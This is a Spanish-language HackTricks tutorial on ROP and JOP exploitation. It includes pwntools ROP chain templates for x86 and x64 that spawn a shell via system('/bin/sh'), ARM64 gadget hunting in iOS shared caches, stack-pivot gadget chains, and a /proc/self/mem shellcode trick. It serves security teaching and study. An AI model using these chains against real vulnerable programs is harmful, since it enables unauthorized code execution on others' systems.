ROP & JOP

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Basic Information

Return-Oriented Programming (ROP) es una técnica avanzada de explotación usada para eludir medidas de seguridad como No-Execute (NX) o Data Execution Prevention (DEP). En lugar de inyectar y ejecutar shellcode, un atacante aprovecha piezas de código ya presentes en el binario o en las librerías cargadas, conocidas como “gadgets”. Cada gadget típicamente termina con una instrucción ret y realiza una pequeña operación, como mover datos entre registros o ejecutar operaciones aritméticas. Encadenando estos gadgets, un atacante puede construir un payload para realizar operaciones arbitrarias, eludiendo efectivamente las protecciones NX/DEP.

How ROP Works

  1. Control Flow Hijacking: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un buffer overflow para sobrescribir una saved return address en la stack.
  2. Gadget Chaining: El atacante selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto puede implicar preparar los argumentos para una llamada a función, llamar a la función (por ejemplo, system("/bin/sh")) y manejar cualquier limpieza o operaciones adicionales necesarias.
  3. Payload Execution: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets.

Tools

Normalmente, los gadgets pueden encontrarse usando ROPgadget, ropper o directamente desde pwntools (ROP).

ROP Chain in x86 Example

x86 (32-bit) Calling conventions

  • cdecl: El caller limpia la stack. Los argumentos de la función se empujan en la stack en orden inverso (de derecha a izquierda). Arguments are pushed onto the stack from right to left.
  • stdcall: Similar a cdecl, pero el callee es responsable de limpiar la stack.

Finding Gadgets

Primero, asumamos que hemos identificado los gadgets necesarios dentro del binario o sus librerías cargadas. Los gadgets que nos interesan son:

  • pop eax; ret: Este gadget saca el valor superior de la stack hacia el registro EAX y luego retorna, permitiéndonos controlar EAX.
  • pop ebx; ret: Similar al anterior, pero para el registro EBX, habilitando control sobre EBX.
  • mov [ebx], eax; ret: Mueve el valor en EAX a la ubicación de memoria apuntada por EBX y luego retorna. Esto a menudo se llama un write-what-where gadget.
  • Adicionalmente, tenemos la dirección de la función system() disponible.

ROP Chain

Usando pwntools, preparamos la stack para la ejecución de la cadena ROP de la siguiente manera con el objetivo de ejecutar system('/bin/sh'), nota cómo la cadena empieza con:

  1. Una instrucción ret por propósitos de alineación (opcional)
  2. Dirección de la función system (suponiendo ASLR deshabilitado y libc conocida, más info en Ret2lib)
  3. Placeholder para la return address de system()
  4. Dirección de la cadena "/bin/sh" (parámetro para la función system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain en x64 Ejemplo

x64 (64-bit) Convenciones de llamada

  • Usa la convención de llamadas System V AMD64 ABI en sistemas tipo Unix, donde los seis primeros argumentos enteros o punteros se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en RAX.
  • La convención de llamadas de Windows x64 usa RCX, RDX, R8 y R9 para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en RAX.
  • Registros: Los registros de 64 bits incluyen RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, y R8 a R15.

Finding Gadgets

Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro RDI (para pasar la cadena “/bin/sh” como argumento a system()) y luego llamar a la función system(). Supondremos que hemos identificado los siguientes gadgets:

  • pop rdi; ret: Extrae (pop) el valor superior de la pila en RDI y luego retorna. Esencial para establecer nuestro argumento para system().
  • ret: Un retorno sencillo, útil para la alineación de la pila en algunos escenarios.

Y conocemos la dirección de la función system().

ROP Chain

A continuación hay un ejemplo usando pwntools para configurar y ejecutar una ROP chain con el objetivo de ejecutar system(‘/bin/sh’) en x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

En este ejemplo:

  • Utilizamos el gadget pop rdi; ret para establecer RDI a la dirección de "/bin/sh".
  • Saltamos directamente a system() después de establecer RDI, con la dirección de system() en la cadena.
  • ret_gadget se usa para el alineamiento si el entorno objetivo lo requiere, lo cual es más común en x64 para asegurar el alineamiento correcto de la pila antes de llamar funciones.

Alineamiento de la pila

The x86-64 ABI garantiza que la pila esté alineada a 16 bytes cuando se ejecuta una instrucción call. LIBC, para optimizar el rendimiento, usa instrucciones SSE (como movaps) que requieren este alineamiento. Si la pila no está alineada correctamente (es decir, si RSP no es múltiplo de 16), las llamadas a funciones como system fallarán en una ROP chain. Para solucionarlo, simplemente añade un ret gadget antes de llamar a system en tu ROP chain.

Diferencia principal entre x86 y x64

Tip

Dado que x64 usa registros para los primeros argumentos, a menudo requiere menos gadgets que x86 para llamadas simples a funciones, pero encontrar y encadenar los gadgets correctos puede ser más complejo debido al mayor número de registros y al espacio de direcciones más grande. El mayor número de registros y el espacio de direcciones ampliado en la arquitectura x64 ofrecen tanto oportunidades como desafíos para el desarrollo de exploits, especialmente en el contexto de Return-Oriented Programming (ROP).

ROP chain en ARM64

Respecto a ARM64 Basics & Calling conventions, consulta la siguiente página para esta información:

Introduction to ARM64v8

[!DANGER] Es importante notar que al saltar a una función usando un ROP en ARM64 debes saltar a la segunda instrucción de la función (al menos) para evitar que se almacene en la pila el puntero de pila actual y terminar en un bucle eterno llamando a la función una y otra vez.

Encontrar gadgets en system Dylds

Las librerías del sistema vienen compiladas en un único archivo llamado dyld_shared_cache_arm64. Este archivo contiene todas las librerías del sistema en un formato comprimido. Para descargar este archivo desde el dispositivo móvil puedes hacer:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Entonces, puedes usar un par de herramientas para extraer las bibliotecas reales del archivo dyld_shared_cache_arm64:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Ahora, para encontrar gadgets interesantes para el binary que estás explotando, primero necesitas saber qué librerías carga el binary. Puedes usar lldb* para esto:

lldb ./vuln
br s -n main
run
image list

Finalmente, puedes usar Ropper para encontrar gadgets en las librerías que te interesen:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP es una técnica similar a ROP, pero cada gadget, en lugar de usar una instrucción RET al final del gadget, usa direcciones de salto. Esto puede ser particularmente útil en situaciones donde ROP no es viable, como cuando no hay gadgets adecuados disponibles. Esto se usa comúnmente en arquitecturas ARM, donde la instrucción ret no se usa tan comúnmente como en las arquitecturas x86/x64.

También puedes usar herramientas rop para encontrar JOP gadgets, por ejemplo:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Veamos un ejemplo:

  • Hay un heap overflow que nos permite sobrescribir un function pointer almacenado en el heap que será llamado.

  • x0 apunta al heap donde controlamos algo de espacio

  • De las librerías del sistema cargadas encontramos los siguientes gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Podemos usar el primer gadget para cargar x0 con un puntero a /bin/sh (almacenado en el heap) y luego cargar x2 desde x0 + 0x30 con la dirección de system y saltar a ella.

Stack Pivot

Stack pivoting es una técnica utilizada en explotación para cambiar el stack pointer (RSP en x64, SP en ARM64) para apuntar a un área de memoria controlada, como el heap o un buffer en la stack, donde el atacante puede colocar su payload (usualmente una ROP/JOP chain).

Ejemplos de cadenas de Stack Pivoting:

  • Ejemplo solo 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Ejemplo múltiples gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode a través de /proc/self/mem (Embedded Linux)

Si ya tienes una ROP chain pero no RWX mappings, una alternativa es escribir shellcode en el proceso actual usando /proc/self/mem y luego saltar a él. Esto es común en objetivos Embedded Linux donde /proc/self/mem puede ignorar las protecciones de escritura en segmentos ejecutables en las configuraciones por defecto.

Idea típica de la cadena:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

Si preservar fd es difícil, llamar a open() varias veces puede hacer factible adivinar el descriptor usado para /proc/self/mem. En targets ARM Thumb, recuerda ajustar el bit bajo al hacer branch (addr | 1).

Protecciones contra ROP y JOP

  • ASLR & PIE: Estas protecciones hacen más difícil el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.
  • Stack Canaries: En caso de un BOF, es necesario bypassear/omitir el stack canary para sobrescribir los punteros de retorno y abusar de una cadena ROP.
  • Lack of Gadgets: Si no hay suficientes gadgets no será posible generar una cadena ROP.

Técnicas basadas en ROP

Nota que ROP es solo una técnica para ejecutar código arbitrario. Basadas en ROP se desarrollaron muchas técnicas Ret2XXX:

  • Ret2lib: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (usualmente algo como system('/bin/sh').

Ret2lib

  • Ret2Syscall: Usa ROP para preparar una llamada a un syscall, p. ej. execve, y hacer que ejecute comandos arbitrarios.

Ret2syscall

  • EBP2Ret & EBP Chaining: La primera abusa de EBP en lugar de EIP para controlar el flujo y la segunda es similar a Ret2lib pero en este caso el flujo se controla principalmente con direcciones EBP (aunque también es necesario controlar EIP).

Stack Pivoting

Otros ejemplos y referencias

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks